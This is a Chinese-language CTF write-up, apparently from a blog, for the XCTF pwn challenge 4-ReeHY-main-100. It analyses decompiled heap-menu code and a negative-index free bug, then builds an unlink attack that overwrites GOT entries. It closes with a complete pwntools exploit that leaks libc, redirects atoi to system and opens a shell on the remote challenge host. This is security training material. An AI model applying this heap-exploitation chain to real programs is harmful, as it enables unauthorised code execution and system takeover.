XCTF4-ReeHY-main-100

XCTF:4-ReeHY-main-100

这道题用来巩固一下之前学的unlink的利用方法

保护检查:

checksec一下:

在这里插入图片描述

只开了NX,RELRO和PIE都没有开启,所以可以利用静态调试找出的地址来操作,并且可以使用GOT表覆盖这个技巧

程序分析:

main函数:

代码如下:

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  sub_400856(a1, a2, a3);
  while ( 1 )
  {
    sub_400943();
    switch ( (unsigned int)sub_400C55() )
    {
      case 1u:
        sub_4009D1();
        break;
      case 2u:
        sub_400B21();
        break;
      case 3u:
        sub_400BA1();
        break;
      case 4u:
        sub_400C42();
        break;
      case 5u:
        puts("bye~bye~ young hacker");
        exit(0);
      default:
        puts("Invalid Choice!");
        break;
    }
  }
}

可以看见这是一个经典的switch选择结构体,应该是一道菜单题,我们进入每一个函数去看一下

sub_4009D1():

代码如下:

int sub_4009D1()
{
  int result; // eax
  char buf[128]; // [rsp+0h] [rbp-90h] BYREF
  void *dest; // [rsp+80h] [rbp-10h]
  int v3; // [rsp+88h] [rbp-8h]
  size_t nbytes; // [rsp+8Ch] [rbp-4h]

  result = dword_6020AC;
  if ( dword_6020AC <= 4 )
  {
    puts("Input size");
    result = sub_400C55();
    LODWORD(nbytes) = result;
    if ( result <= 4096 )
    {
      puts("Input cun");
      result = sub_400C55();
      v3 = result;
      if ( result <= 4 )
      {
        dest = malloc((int)nbytes);
        puts("Input content");
        if ( (int)nbytes > 112 )
        {
          read(0, dest, (unsigned int)nbytes);
        }
        else
        {
          read(0, buf, (unsigned int)nbytes);
          memcpy(dest, buf, (int)nbytes);
        }
        *(_DWORD *)(qword_6020C0 + 4LL * v3) = nbytes;
        *((_QWORD *)&unk_6020E0 + 2 * v3) = dest;
        dword_6020E8[4 * v3] = 1;
        ++dword_6020AC;
        result = fflush(stdout);
      }
    }
  }
  return result;
}

这个函数对应的是create功能,它需要我们输入三个数据:size,cun,content。

这三个数据分别对应:内容大小,堆块编号,内容

根据程序我们可以看出来,用户输入的size大小被储存在nbytes这个变量之中,而且程序中有一个堆块是用来储存这个size大小的,也就是:

*(_DWORD *)(qword_6020C0 + 4LL * v3) = nbytes;

在0x6020C0这个位置上有一个堆块是用来储存这个size大小的

而程序为content申请的chunk的指针则储存在dest这个变量中,而0x6020E0这个位置的堆块则是用来储存这个的dest的,也就是:

 *((_QWORD *)&unk_6020E0 + 2 * v3) = dest;

sub_400B21():

代码如下:

__int64 sub_400B21()
{
  __int64 result; // rax
  int v1; // [rsp+Ch] [rbp-4h]

  puts("Chose one to dele");
  result = sub_400C55();
  v1 = result;
  if ( (int)result <= 4 )
  {
    free(*((void **)&unk_6020E0 + 2 * (int)result));
    dword_6020E8[4 * v1] = 0;
    puts("dele success!");
    result = (unsigned int)--dword_6020AC;
  }
  return result;
}

这个函数则对应delete功能,而这个函数功能中就有一个漏洞:由于没有检查输入数据的正负是否合法造成的漏洞

通俗的讲,就是在这里选择需要删除的堆块编号时我们是可以输入负数的,而后面:

free(*((void **)&unk_6020E0 + 2 * (int)result));

这段代码说明了函数寻找需要free的堆块的方式是通过基址加上偏移量来寻找地址的,那么当我们输入一个负数时,程序计算地址时就是基址减去一个偏移量,所以当我们输入-2时,程序就会free掉0x6020E0 - 2*offest(8位数据) = 0x6020C0

这样我们就可以将0x6020C0这个位置上的堆块释放掉,由于他的大小为0x14,会被归于fastbins中,所以我们我们只要在释放这个堆块后再次create一个差不多大小的堆块可以控制这个堆块中的内容了,这样我们就可以控制我们先前申请的堆块大小从而实现堆溢出。

sub_400BA1():

代码如下:

int sub_400BA1()
{
  int result; // eax
  int v1; // [rsp+Ch] [rbp-4h]

  puts("Chose one to edit");
  result = sub_400C55();
  v1 = result;
  if ( result <= 4 )
  {
    result = dword_6020E8[4 * result];
    if ( result == 1 )
    {
      puts("Input the content");
      read(0, *((void **)&unk_6020E0 + 2 * v1), *(unsigned int *)(4LL * v1 + qword_6020C0));
      result = puts("Edit success!");
    }
  }
  return result;
}

这个函数就对应了edit功能,但是这里检查了输入的合法性(不然这题就太简单了对吧)

修改时的寻址方式也是根据基址和偏移量来寻找地址的

sub_400C42():

代码如下:

int sub_400C42()
{
  return puts("No~No~No~");
}

这里就可以发现这个程序是没有显示堆块内容的功能,应该就是为了加大难度。。。

内存分布分析:

在开始实际做题之前先用gdb调试一下程序中的内存大概是如何分布的:

首先我们随便创建两个chunk:

在这里插入图片描述

然后挂起程序看一下堆块的情况:

在这里插入图片描述

这里就可以看见我们创建的两个chunk,然后看一下这两个地址中的内容:

在这里插入图片描述

可以很清楚的看见两个挨在一起的chunk,大小都是0x31,然后我们看一下存放内容指针的堆块,也就是前面提到的:0x6020E0:

在这里插入图片描述

这里要注意在每个存放了指针的地址低位上是有一个1来说明这个堆块是前面合法分配的,在后面构造payload时要注意加上这个1

思路整理:

1.首先我们创建两个chunk(注意大小要稍微大一点,防止它在被释放后进入fastbins)

2.通过前面提到的delete函数内存在的漏洞修改0x6020c0里关于chunk 大小的内容实现chunk大小的扩展,达到堆溢出的效果

3.在我们扩展了size的第一个chunk内伪造一个fake_chunk,并溢出到chunk2 的header部分修改pre_size为来绕过unlink检查

4.通过unlink修改存放content指针的chunk内指针的指向,将其导向我们需要使用的函数

5.泄露函数实际地址,找到libc基址等其他常规操作

fake_chunk的设计:

这道题的fake_chunk还是以前那个经典的模式:

在这里插入图片描述

pre_size:这里跟fake_chunk 前面的chunk没有什么关系,所以可以直接置为0

size:这里要保证与后面的chunk2的pre_size保持一致

fd,bk:

由于我们的目标是存放content的那个chunk(0x6020e0),所以这里我们再看一下内存中的情况:

在这里插入图片描述

由于unlink修改指针的机制:

首先:first_chunk -> bk = third_chunk_addr,然后:third_chunk -> fd = first_chunk_addr

所以这里我们选择0x6020c8作为first_chunk 0x6020d0作为third_chunk

在触发unlink机制后在同一个位置上发生了两次覆盖,最后是0x6020c8

修改以后我们使用edit功能就可以修改0x6020c8上的内容了

所以这里我们fake_chunk 中的fd 和 bk指针就是:0x6020c8 和 0x6020d0

EXP:

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

#io = process("./4-ReeHY-main")
io = remote("111.200.241.244", 54314)
elf = ELF("./4-ReeHY-main")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF("./ctflibc.so.6")

array = 0x6020e0

def create(size,cun,content):
    io.recvuntil("$ ")
    io.sendline(b'1')
    io.recvuntil("Input size\n")
    io.sendline(bytes(str(size),encoding='utf-8'))
    io.recvuntil("Input cun\n")
    io.sendline(bytes(str(cun), encoding='utf-8'))
    io.recvuntil("Input content\n")
    io.send(content)
def edit(cun,content):
    io.recvuntil("$ ")
    io.sendline(b'3')
    io.recvuntil("Chose one to edit\n")
    io.sendline(bytes(str(cun), encoding='utf-8'))
    io.recvuntil("Input the content\n")
    io.send(content)
def delete(cun):
    io.recvuntil("$ ")
    io.sendline(b'2')
    io.recvuntil("Chose one to dele\n")
    io.sendline(bytes(str(cun), encoding='utf-8'))

io.recvuntil("Input your name: \n")
io.sendline(b'yms')

create(0x100,0,b'a'*0x100)
create(0x100,1,b'b'*0x100)

delete(-2)

payload1 = p64(0x200) + p64(0x100) #注意这里再修改大小时chunk1的大小要能覆盖到chunk2
create(0x10,2,payload1)

payload2 = p64(0) + p64(0x101) + p64(array - 0x18) + p64(array - 0x10)
payload2 = payload2.ljust(0x100, b'a')
payload2 += p64(0x100) + p64(0x110)

edit(0,payload2)

delete(1)

payload3 = p64(0)*3 + p64(elf.got['free']) + p64(1) + p64(elf.got['puts']) + p64(1) + p64(elf.got['atoi']) + p64(1)

edit(0,payload3)

payload4 = p64(elf.plt['puts'])

edit(0,payload4)

delete(1)

put_addr = u64(io.recv(6).ljust(8, b'\x00'))

print(hex(put_addr))

libc = LibcSearcher('puts', put_addr)

base = put_addr - libc.dump('puts')
sys_addr = base + libc.dump('system')
#sh_addr = base + libc.search(b'/bin/sh').__next()__

payload5 = p64(sys_addr)
edit(2,payload5)

io.recvuntil("$ ")
io.sendline(b'/bin/sh')

io.interactive()

tips:

1.在编辑create和edit功能时的对于content部分的发送一定要记住是用的send而不是sendline 后者多的那一个\n会造成无法打通的后果

2.这题远端上只有好像只有一个假的flag,没有找到正确的flag,等一个大师傅来告诉我正确flag怎么找。。。

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值